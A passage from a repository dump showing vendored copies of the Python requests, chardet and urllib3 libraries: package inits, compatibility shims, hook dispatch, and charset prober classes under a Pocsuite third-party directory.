| 'Programming Language :: Python', 30 | 'Programming Language :: Python :: 2.6', 31 | 'Programming Language :: Python :: 2.7', 32 | 'Programming Language :: Python :: 3', 33 | 'Programming Language :: Python :: 3.0', 34 | 'Programming Language :: Python :: 3.1', 35 | 'Programming Language :: Python :: 3.2', 36 | 'Programming Language :: Python :: 3.3', 37 | ] 38 | ) 39 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # __ 4 | # /__) _ _ _ _ _/ _ 5 | # / ( (- (/ (/ (- _) / _) 6 | # / 7 | 8 | """ 9 | requests HTTP library 10 | ~~~~~~~~~~~~~~~~~~~~~ 11 | 12 | Requests is an HTTP library, written in Python, for human beings. Basic GET 13 | usage: 14 | 15 | >>> import requests 16 | >>> r = requests.get('https://www.python.org') 17 | >>> r.status_code 18 | 200 19 | >>> 'Python is a programming language' in r.content 20 | True 21 | 22 | ... or POST: 23 | 24 | >>> payload = dict(key1='value1', key2='value2') 25 | >>> r = requests.post('http://httpbin.org/post', data=payload) 26 | >>> print(r.text) 27 | { 28 | ... 29 | "form": { 30 | "key2": "value2", 31 | "key1": "value1" 32 | }, 33 | ... 34 | } 35 | 36 | The other HTTP methods are supported - see `requests.api`. Full documentation 37 | is at . 38 | 39 | :copyright: (c) 2015 by Kenneth Reitz. 40 | :license: Apache 2.0, see LICENSE for more details. 41 | 42 | """ 43 | 44 | __title__ = 'requests' 45 | __version__ = '2.7.0' 46 | __build__ = 0x020700 47 | __author__ = 'Kenneth Reitz' 48 | __license__ = 'Apache 2.0' 49 | __copyright__ = 'Copyright 2015 Kenneth Reitz' 50 | 51 | # Attempt to enable urllib3's SNI support, if possible 52 | try: 53 | from .packages.urllib3.contrib import pyopenssl 54 | pyopenssl.inject_into_urllib3() 55 | except ImportError: 56 | pass 57 | 58 | from . import utils 59 | from .models import Request, Response, PreparedRequest 60 | from .api import request, get, head, post, patch, put, delete, options 61 | from .sessions import session, Session 62 | from .status_codes import codes 63 | from .exceptions import ( 64 | RequestException, Timeout, URLRequired, 65 | TooManyRedirects, HTTPError, ConnectionError 66 | ) 67 | 68 | # Set default logging handler to avoid "No handler found" warnings. 69 | import logging 70 | try: # Python 2.7+ 71 | from logging import NullHandler 72 | except ImportError: 73 | class NullHandler(logging.Handler): 74 | def emit(self, record): 75 | pass 76 | 77 | logging.getLogger(__name__).addHandler(NullHandler()) 78 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/requests/__init__.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/adapters.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/requests/adapters.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/api.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/requests/api.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/auth.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/requests/auth.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/certs.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | certs.py 6 | ~~~~~~~~ 7 | 8 | This module returns the preferred default CA certificate bundle. 9 | 10 | If you are packaging Requests, e.g., for a Linux distribution or a managed 11 | environment, you can change the definition of where() to return a separately 12 | packaged CA bundle. 13 | """ 14 | import os.path 15 | 16 | try: 17 | from certifi import where 18 | except ImportError: 19 | def where(): 20 | """Return the preferred certificate bundle.""" 21 | # vendored bundle inside Requests 22 | return os.path.join(os.path.dirname(__file__), 'cacert.pem') 23 | 24 | if __name__ == '__main__': 25 | print(where()) 26 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/certs.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/requests/certs.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/compat.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | """ 4 | pythoncompat 5 | """ 6 | 7 | from .packages import chardet 8 | 9 | import sys 10 | 11 | # ------- 12 | # Pythons 13 | # ------- 14 | 15 | # Syntax sugar. 16 | _ver = sys.version_info 17 | 18 | #: Python 2.x? 19 | is_py2 = (_ver[0] == 2) 20 | 21 | #: Python 3.x? 22 | is_py3 = (_ver[0] == 3) 23 | 24 | try: 25 | import simplejson as json 26 | except (ImportError, SyntaxError): 27 | # simplejson does not support Python 3.2, it throws a SyntaxError 28 | # because of u'...' Unicode literals. 29 | import json 30 | 31 | # --------- 32 | # Specifics 33 | # --------- 34 | 35 | if is_py2: 36 | from urllib import quote, unquote, quote_plus, unquote_plus, urlencode, getproxies, proxy_bypass 37 | from urlparse import urlparse, urlunparse, urljoin, urlsplit, urldefrag 38 | from urllib2 import parse_http_list 39 | import cookielib 40 | from Cookie import Morsel 41 | from StringIO import StringIO 42 | from .packages.urllib3.packages.ordered_dict import OrderedDict 43 | 44 | builtin_str = str 45 | bytes = str 46 | str = unicode 47 | basestring = basestring 48 | numeric_types = (int, long, float) 49 | 50 | elif is_py3: 51 | from urllib.parse import urlparse, urlunparse, urljoin, urlsplit, urlencode, quote, unquote, quote_plus, unquote_plus, urldefrag 52 | from urllib.request import parse_http_list, getproxies, proxy_bypass 53 | from http import cookiejar as cookielib 54 | from http.cookies import Morsel 55 | from io import StringIO 56 | from collections import OrderedDict 57 | 58 | builtin_str = str 59 | str = str 60 | bytes = bytes 61 | basestring = (str, bytes) 62 | numeric_types = (int, float) 63 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/compat.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/requests/compat.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/cookies.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/requests/cookies.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/exceptions.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/requests/exceptions.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/hooks.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | """ 4 | requests.hooks 5 | ~~~~~~~~~~~~~~ 6 | 7 | This module provides the capabilities for the Requests hooks system. 8 | 9 | Available hooks: 10 | 11 | ``response``: 12 | The response generated from a Request. 13 | 14 | """ 15 | 16 | 17 | HOOKS = ['response'] 18 | 19 | 20 | def default_hooks(): 21 | hooks = {} 22 | for event in HOOKS: 23 | hooks[event] = [] 24 | return hooks 25 | 26 | # TODO: response is the only one 27 | 28 | 29 | def dispatch_hook(key, hooks, hook_data, **kwargs): 30 | """Dispatches a hook dictionary on a given piece of data.""" 31 | 32 | hooks = hooks or dict() 33 | 34 | if key in hooks: 35 | hooks = hooks.get(key) 36 | 37 | if hasattr(hooks, '__call__'): 38 | hooks = [hooks] 39 | 40 | for hook in hooks: 41 | _hook_data = hook(hook_data, **kwargs) 42 | if _hook_data is not None: 43 | hook_data = _hook_data 44 | 45 | return hook_data 46 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/hooks.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/requests/hooks.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/models.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/requests/models.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/__init__.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | 3 | from . import urllib3 4 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/__init__.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/chardet/__init__.py: -------------------------------------------------------------------------------- 1 | ######################## BEGIN LICENSE BLOCK ######################## 2 | # This library is free software; you can redistribute it and/or 3 | # modify it under the terms of the GNU Lesser General Public 4 | # License as published by the Free Software Foundation; either 5 | # version 2.1 of the License, or (at your option) any later version. 6 | # 7 | # This library is distributed in the hope that it will be useful, 8 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 9 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 10 | # Lesser General Public License for more details. 11 | # 12 | # You should have received a copy of the GNU Lesser General Public 13 | # License along with this library; if not, write to the Free Software 14 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 15 | # 02110-1301 USA 16 | ######################### END LICENSE BLOCK ######################### 17 | 18 | __version__ = "2.3.0" 19 | from sys import version_info 20 | 21 | 22 | def detect(aBuf): 23 | if ((version_info < (3, 0) and isinstance(aBuf, unicode)) or 24 | (version_info >= (3, 0) and not isinstance(aBuf, bytes))): 25 | raise ValueError('Expected a bytes object, not a unicode object') 26 | 27 | from . import universaldetector 28 | u = universaldetector.UniversalDetector() 29 | u.reset() 30 | u.feed(aBuf) 31 | u.close() 32 | return u.result 33 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/chardet/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/chardet/__init__.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/chardet/big5prober.py: -------------------------------------------------------------------------------- 1 | ######################## BEGIN LICENSE BLOCK ######################## 2 | # The Original Code is Mozilla Communicator client code. 3 | # 4 | # The Initial Developer of the Original Code is 5 | # Netscape Communications Corporation. 6 | # Portions created by the Initial Developer are Copyright (C) 1998 7 | # the Initial Developer. All Rights Reserved. 8 | # 9 | # Contributor(s): 10 | # Mark Pilgrim - port to Python 11 | # 12 | # This library is free software; you can redistribute it and/or 13 | # modify it under the terms of the GNU Lesser General Public 14 | # License as published by the Free Software Foundation; either 15 | # version 2.1 of the License, or (at your option) any later version. 16 | # 17 | # This library is distributed in the hope that it will be useful, 18 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 19 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 20 | # Lesser General Public License for more details. 21 | # 22 | # You should have received a copy of the GNU Lesser General Public 23 | # License along with this library; if not, write to the Free Software 24 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 25 | # 02110-1301 USA 26 | ######################### END LICENSE BLOCK ######################### 27 | 28 | from .mbcharsetprober import MultiByteCharSetProber 29 | from .codingstatemachine import CodingStateMachine 30 | from .chardistribution import Big5DistributionAnalysis 31 | from .mbcssm import Big5SMModel 32 | 33 | 34 | class Big5Prober(MultiByteCharSetProber): 35 | def __init__(self): 36 | MultiByteCharSetProber.__init__(self) 37 | self._mCodingSM = CodingStateMachine(Big5SMModel) 38 | self._mDistributionAnalyzer = Big5DistributionAnalysis() 39 | self.reset() 40 | 41 | def get_charset_name(self): 42 | return "Big5" 43 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/chardet/charsetprober.py: -------------------------------------------------------------------------------- 1 | ######################## BEGIN LICENSE BLOCK ######################## 2 | # The Original Code is Mozilla Universal charset detector code. 3 | # 4 | # The Initial Developer of the Original Code is 5 | # Netscape Communications Corporation. 6 | # Portions created by the Initial Developer are Copyright (C) 2001 7 | # the Initial Developer. All Rights Reserved. 8 | # 9 | # Contributor(s): 10 | # Mark Pilgrim - port to Python 11 | # Shy Shalom - original C code 12 | # 13 | # This library is free software; you can redistribute it and/or 14 | # modify it under the terms of the GNU Lesser General Public 15 | # License as published by the Free Software Foundation; either 16 | # version 2.1 of the License, or (at your option) any later version. 17 | # 18 | # This library is distributed in the hope that it will be useful, 19 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 20 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 21 | # Lesser General Public License for more details. 22 | # 23 | # You should have received a copy of the GNU Lesser General Public 24 | # License along with this library; if not, write to the Free Software 25 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 26 | # 02110-1301 USA 27 | ######################### END LICENSE BLOCK ######################### 28 | 29 | from . import constants 30 | import re 31 | 32 | 33 | class CharSetProber: 34 | def __init__(self): 35 | pass 36 | 37 | def reset(self): 38 | self._mState = constants.eDetecting 39 | 40 | def get_charset_name(self): 41 | return None 42 | 43 | def feed(self, aBuf): 44 | pass 45 | 46 | def get_state(self): 47 | return self._mState 48 | 49 | def get_confidence(self): 50 | return 0.0 51 | 52 | def filter_high_bit_only(self, aBuf): 53 | aBuf = re.sub(b'([\x00-\x7F])+', b' ', aBuf) 54 | return aBuf 55 | 56 | def filter_without_english_letters(self, aBuf): 57 | aBuf = re.sub(b'([A-Za-z])+', b' ', aBuf) 58 | return aBuf 59 | 60 | def filter_with_english_letters(self, aBuf): 61 | # TODO 62 | return aBuf 63 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/chardet/codingstatemachine.py: -------------------------------------------------------------------------------- 1 | ######################## BEGIN LICENSE BLOCK ######################## 2 | # The Original Code is mozilla.org code. 3 | # 4 | # The Initial Developer of the Original Code is 5 | # Netscape Communications Corporation. 6 | # Portions created by the Initial Developer are Copyright (C) 1998 7 | # the Initial Developer. All Rights Reserved. 8 | # 9 | # Contributor(s): 10 | # Mark Pilgrim - port to Python 11 | # 12 | # This library is free software; you can redistribute it and/or 13 | # modify it under the terms of the GNU Lesser General Public 14 | # License as published by the Free Software Foundation; either 15 | # version 2.1 of the License, or (at your option) any later version. 16 | # 17 | # This library is distributed in the hope that it will be useful, 18 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 19 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 20 | # Lesser General Public License for more details. 21 | # 22 | # You should have received a copy of the GNU Lesser General Public 23 | # License along with this library; if not, write to the Free Software 24 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 25 | # 02110-1301 USA 26 | ######################### END LICENSE BLOCK ######################### 27 | 28 | from .constants import eStart 29 | from .compat import wrap_ord 30 | 31 | 32 | class CodingStateMachine: 33 | def __init__(self, sm): 34 | self._mModel = sm 35 | self._mCurrentBytePos = 0 36 | self._mCurrentCharLen = 0 37 | self.reset() 38 | 39 | def reset(self): 40 | self._mCurrentState = eStart 41 | 42 | def next_state(self, c): 43 | # for each byte we get its class 44 | # if it is first byte, we also get byte length 45 | # PY3K: aBuf is a byte stream, so c is an int, not a byte 46 | byteCls = self._mModel['classTable'][wrap_ord(c)] 47 | if self._mCurrentState == eStart: 48 | self._mCurrentBytePos = 0 49 | self._mCurrentCharLen = self._mModel['charLenTable'][byteCls] 50 | # from byte's class and stateTable, we get its next state 51 | curr_state = (self._mCurrentState * self._mModel['classFactor'] 52 | + byteCls) 53 | self._mCurrentState = self._mModel['stateTable'][curr_state] 54 | self._mCurrentBytePos += 1 55 | return self._mCurrentState 56 | 57 | def get_current_charlen(self): 58 | return self._mCurrentCharLen 59 | 60 | def get_coding_state_machine(self): 61 | return self._mModel['name'] 62 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/chardet/compat.py: -------------------------------------------------------------------------------- 1 | ######################## BEGIN LICENSE BLOCK ######################## 2 | # Contributor(s): 3 | # Ian Cordasco - port to Python 4 | # 5 | # This library is free software; you can redistribute it and/or 6 | # modify it under the terms of the GNU Lesser General Public 7 | # License as published by the Free Software Foundation; either 8 | # version 2.1 of the License, or (at your option) any later version. 9 | # 10 | # This library is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 13 | # Lesser General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU Lesser General Public 16 | # License along with this library; if not, write to the Free Software 17 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 18 | # 02110-1301 USA 19 | ######################### END LICENSE BLOCK ######################### 20 | 21 | import sys 22 | 23 | 24 | if sys.version_info < (3, 0): 25 | base_str = (str, unicode) 26 | else: 27 | base_str = (bytes, str) 28 | 29 | 30 | def wrap_ord(a): 31 | if sys.version_info < (3, 0) and isinstance(a, base_str): 32 | return ord(a) 33 | else: 34 | return a 35 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/chardet/constants.py: -------------------------------------------------------------------------------- 1 | ######################## BEGIN LICENSE BLOCK ######################## 2 | # The Original Code is Mozilla Universal charset detector code. 3 | # 4 | # The Initial Developer of the Original Code is 5 | # Netscape Communications Corporation. 6 | # Portions created by the Initial Developer are Copyright (C) 2001 7 | # the Initial Developer. All Rights Reserved. 8 | # 9 | # Contributor(s): 10 | # Mark Pilgrim - port to Python 11 | # Shy Shalom - original C code 12 | # 13 | # This library is free software; you can redistribute it and/or 14 | # modify it under the terms of the GNU Lesser General Public 15 | # License as published by the Free Software Foundation; either 16 | # version 2.1 of the License, or (at your option) any later version. 17 | # 18 | # This library is distributed in the hope that it will be useful, 19 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 20 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 21 | # Lesser General Public License for more details. 22 | # 23 | # You should have received a copy of the GNU Lesser General Public 24 | # License along with this library; if not, write to the Free Software 25 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 26 | # 02110-1301 USA 27 | ######################### END LICENSE BLOCK ######################### 28 | 29 | _debug = 0 30 | 31 | eDetecting = 0 32 | eFoundIt = 1 33 | eNotMe = 2 34 | 35 | eStart = 0 36 | eError = 1 37 | eItsMe = 2 38 | 39 | SHORTCUT_THRESHOLD = 0.95 40 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/chardet/cp949prober.py: -------------------------------------------------------------------------------- 1 | ######################## BEGIN LICENSE BLOCK ######################## 2 | # The Original Code is mozilla.org code. 3 | # 4 | # The Initial Developer of the Original Code is 5 | # Netscape Communications Corporation. 6 | # Portions created by the Initial Developer are Copyright (C) 1998 7 | # the Initial Developer. All Rights Reserved. 8 | # 9 | # Contributor(s): 10 | # Mark Pilgrim - port to Python 11 | # 12 | # This library is free software; you can redistribute it and/or 13 | # modify it under the terms of the GNU Lesser General Public 14 | # License as published by the Free Software Foundation; either 15 | # version 2.1 of the License, or (at your option) any later version. 16 | # 17 | # This library is distributed in the hope that it will be useful, 18 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 19 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 20 | # Lesser General Public License for more details. 21 | # 22 | # You should have received a copy of the GNU Lesser General Public 23 | # License along with this library; if not, write to the Free Software 24 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 25 | # 02110-1301 USA 26 | ######################### END LICENSE BLOCK ######################### 27 | 28 | from .mbcharsetprober import MultiByteCharSetProber 29 | from .codingstatemachine import CodingStateMachine 30 | from .chardistribution import EUCKRDistributionAnalysis 31 | from .mbcssm import CP949SMModel 32 | 33 | 34 | class CP949Prober(MultiByteCharSetProber): 35 | def __init__(self): 36 | MultiByteCharSetProber.__init__(self) 37 | self._mCodingSM = CodingStateMachine(CP949SMModel) 38 | # NOTE: CP949 is a superset of EUC-KR, so the distribution should be 39 | # not different. 40 | self._mDistributionAnalyzer = EUCKRDistributionAnalysis() 41 | self.reset() 42 | 43 | def get_charset_name(self): 44 | return "CP949" 45 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/chardet/euckrprober.py: -------------------------------------------------------------------------------- 1 | ######################## BEGIN LICENSE BLOCK ######################## 2 | # The Original Code is mozilla.org code. 3 | # 4 | # The Initial Developer of the Original Code is 5 | # Netscape Communications Corporation. 6 | # Portions created by the Initial Developer are Copyright (C) 1998 7 | # the Initial Developer. All Rights Reserved. 8 | # 9 | # Contributor(s): 10 | # Mark Pilgrim - port to Python 11 | # 12 | # This library is free software; you can redistribute it and/or 13 | # modify it under the terms of the GNU Lesser General Public 14 | # License as published by the Free Software Foundation; either 15 | # version 2.1 of the License, or (at your option) any later version. 16 | # 17 | # This library is distributed in the hope that it will be useful, 18 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 19 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 20 | # Lesser General Public License for more details. 21 | # 22 | # You should have received a copy of the GNU Lesser General Public 23 | # License along with this library; if not, write to the Free Software 24 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 25 | # 02110-1301 USA 26 | ######################### END LICENSE BLOCK ######################### 27 | 28 | from .mbcharsetprober import MultiByteCharSetProber 29 | from .codingstatemachine import CodingStateMachine 30 | from .chardistribution import EUCKRDistributionAnalysis 31 | from .mbcssm import EUCKRSMModel 32 | 33 | 34 | class EUCKRProber(MultiByteCharSetProber): 35 | def __init__(self): 36 | MultiByteCharSetProber.__init__(self) 37 | self._mCodingSM = CodingStateMachine(EUCKRSMModel) 38 | self._mDistributionAnalyzer = EUCKRDistributionAnalysis() 39 | self.reset() 40 | 41 | def get_charset_name(self): 42 | return "EUC-KR" 43 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/chardet/euctwprober.py: -------------------------------------------------------------------------------- 1 | ######################## BEGIN LICENSE BLOCK ######################## 2 | # The Original Code is mozilla.org code. 3 | # 4 | # The Initial Developer of the Original Code is 5 | # Netscape Communications Corporation. 6 | # Portions created by the Initial Developer are Copyright (C) 1998 7 | # the Initial Developer. All Rights Reserved. 8 | # 9 | # Contributor(s): 10 | # Mark Pilgrim - port to Python 11 | # 12 | # This library is free software; you can redistribute it and/or 13 | # modify it under the terms of the GNU Lesser General Public 14 | # License as published by the Free Software Foundation; either 15 | # version 2.1 of the License, or (at your option) any later version. 16 | # 17 | # This library is distributed in the hope that it will be useful, 18 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 19 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 20 | # Lesser General Public License for more details. 21 | # 22 | # You should have received a copy of the GNU Lesser General Public 23 | # License along with this library; if not, write to the Free Software 24 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 25 | # 02110-1301 USA 26 | ######################### END LICENSE BLOCK ######################### 27 | 28 | from .mbcharsetprober import MultiByteCharSetProber 29 | from .codingstatemachine import CodingStateMachine 30 | from .chardistribution import EUCTWDistributionAnalysis 31 | from .mbcssm import EUCTWSMModel 32 | 33 | class EUCTWProber(MultiByteCharSetProber): 34 | def __init__(self): 35 | MultiByteCharSetProber.__init__(self) 36 | self._mCodingSM = CodingStateMachine(EUCTWSMModel) 37 | self._mDistributionAnalyzer = EUCTWDistributionAnalysis() 38 | self.reset() 39 | 40 | def get_charset_name(self): 41 | return "EUC-TW" 42 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/chardet/gb2312prober.py: -------------------------------------------------------------------------------- 1 | ######################## BEGIN LICENSE BLOCK ######################## 2 | # The Original Code is mozilla.org code. 3 | # 4 | # The Initial Developer of the Original Code is 5 | # Netscape Communications Corporation. 6 | # Portions created by the Initial Developer are Copyright (C) 1998 7 | # the Initial Developer. All Rights Reserved. 8 | # 9 | # Contributor(s): 10 | # Mark Pilgrim - port to Python 11 | # 12 | # This library is free software; you can redistribute it and/or 13 | # modify it under the terms of the GNU Lesser General Public 14 | # License as published by the Free Software Foundation; either 15 | # version 2.1 of the License, or (at your option) any later version. 16 | # 17 | # This library is distributed in the hope that it will be useful, 18 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 19 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 20 | # Lesser General Public License for more details. 21 | # 22 | # You should have received a copy of the GNU Lesser General Public 23 | # License along with this library; if not, write to the Free Software 24 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 25 | # 02110-1301 USA 26 | ######################### END LICENSE BLOCK ######################### 27 | 28 | from .mbcharsetprober import MultiByteCharSetProber 29 | from .codingstatemachine import CodingStateMachine 30 | from .chardistribution import GB2312DistributionAnalysis 31 | from .mbcssm import GB2312SMModel 32 | 33 | class GB2312Prober(MultiByteCharSetProber): 34 | def __init__(self): 35 | MultiByteCharSetProber.__init__(self) 36 | self._mCodingSM = CodingStateMachine(GB2312SMModel) 37 | self._mDistributionAnalyzer = GB2312DistributionAnalysis() 38 | self.reset() 39 | 40 | def get_charset_name(self): 41 | return "GB2312" 42 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/chardet/mbcsgroupprober.py: -------------------------------------------------------------------------------- 1 | ######################## BEGIN LICENSE BLOCK ######################## 2 | # The Original Code is Mozilla Universal charset detector code. 3 | # 4 | # The Initial Developer of the Original Code is 5 | # Netscape Communications Corporation. 6 | # Portions created by the Initial Developer are Copyright (C) 2001 7 | # the Initial Developer. All Rights Reserved. 8 | # 9 | # Contributor(s): 10 | # Mark Pilgrim - port to Python 11 | # Shy Shalom - original C code 12 | # Proofpoint, Inc. 13 | # 14 | # This library is free software; you can redistribute it and/or 15 | # modify it under the terms of the GNU Lesser General Public 16 | # License as published by the Free Software Foundation; either 17 | # version 2.1 of the License, or (at your option) any later version. 18 | # 19 | # This library is distributed in the hope that it will be useful, 20 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 21 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 22 | # Lesser General Public License for more details. 23 | # 24 | # You should have received a copy of the GNU Lesser General Public 25 | # License along with this library; if not, write to the Free Software 26 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 27 | # 02110-1301 USA 28 | ######################### END LICENSE BLOCK ######################### 29 | 30 | from .charsetgroupprober import CharSetGroupProber 31 | from .utf8prober import UTF8Prober 32 | from .sjisprober import SJISProber 33 | from .eucjpprober import EUCJPProber 34 | from .gb2312prober import GB2312Prober 35 | from .euckrprober import EUCKRProber 36 | from .cp949prober import CP949Prober 37 | from .big5prober import Big5Prober 38 | from .euctwprober import EUCTWProber 39 | 40 | 41 | class MBCSGroupProber(CharSetGroupProber): 42 | def __init__(self): 43 | CharSetGroupProber.__init__(self) 44 | self._mProbers = [ 45 | UTF8Prober(), 46 | SJISProber(), 47 | EUCJPProber(), 48 | GB2312Prober(), 49 | EUCKRProber(), 50 | CP949Prober(), 51 | Big5Prober(), 52 | EUCTWProber() 53 | ] 54 | self.reset() 55 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/requests/packages/urllib3/__init__.py: -------------------------------------------------------------------------------- 1 | """ 2 | urllib3 - Thread-safe connection pooling and re-using. 3 | """ 4 | 5 | __author__ = 'Andrey Petrov (andrey.petrov@shazow.net)' 6 | __license__ = 'MIT' 7 | __version__ = '1.10.4' 8 | 9 | 10 | from .connectionpool import ( 11 | HTTPConnectionPool, 12 | HTTPSConnectionPool, 13 | connection_from_url 14 | ) 15 | 16 | from . import exceptions 17 | from .filepost import encode_multipart_formdata 18 | from .poolmanager import PoolManager, ProxyManager, proxy_from_url 19 | from .response import HTTPResponse 20 | from .util.request import make_headers 21 | from .util.url import get_host 22 | from .util.timeout import Timeout 23 | from .util.retry import Retry 24 | 25 | 26 | # Set default logging handler to avoid "No handler found" warnings. 27 | import logging 28 | try: # Python 2.7+ 29 | from logging import NullHandler 30 | except ImportError: 31 | class NullHandler(logging.Handler): 32 | def emit(self, record): 33 | pass 34 | 35 | logging.getLogger(__name__).addHandler(NullHandler()) 36 | 37 | def add_stderr_logger(level=logging.DEBUG): 38 